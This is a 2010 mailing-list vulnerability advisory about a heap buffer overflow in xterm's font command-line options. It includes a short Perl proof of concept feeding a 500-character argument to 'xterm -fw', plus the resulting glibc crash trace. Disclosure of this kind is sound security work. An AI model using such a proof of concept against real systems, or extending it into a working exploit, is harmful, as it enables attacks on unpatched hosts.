1 Sep 16:24
[SecurityArchitect-008]: Xterm Local Buffer Overflow Vulnerability
musashi karak0rsan <karakorsankara <at> hotmail.com>
2010-09-01 14:24:30 GMT
2010-09-01 14:24:30 GMT
Product: Xterm
Vulnerability: Buffer Overflow (heap-based)
Credits: Celil Ünüver from SecurityArchitect.Org
Tested on: Ubuntu 10.04 and xterm(256) version
Details:
Xterm's "-fw , -fwb , -fb" command line options causes an overflow while writing long argument..
PoC:
# Contact: www.securityarchitect.org
$file = "A" x 500;
$print = "xterm -fw $file";
system $print;
Results:
pc <at> ubuntu:~/Masaüstü$ perl xterm.pl
*** glibc detected *** xterm: munmap_chunk(): invalid pointer: 0x09f593a4 ***
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6(+0x6b591)[0x2fd591]
/lib/tls/i686/cmov/libc.so.6(+0x6c80e)[0x2fe80e]
Greets: hellcode
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
RSS Feed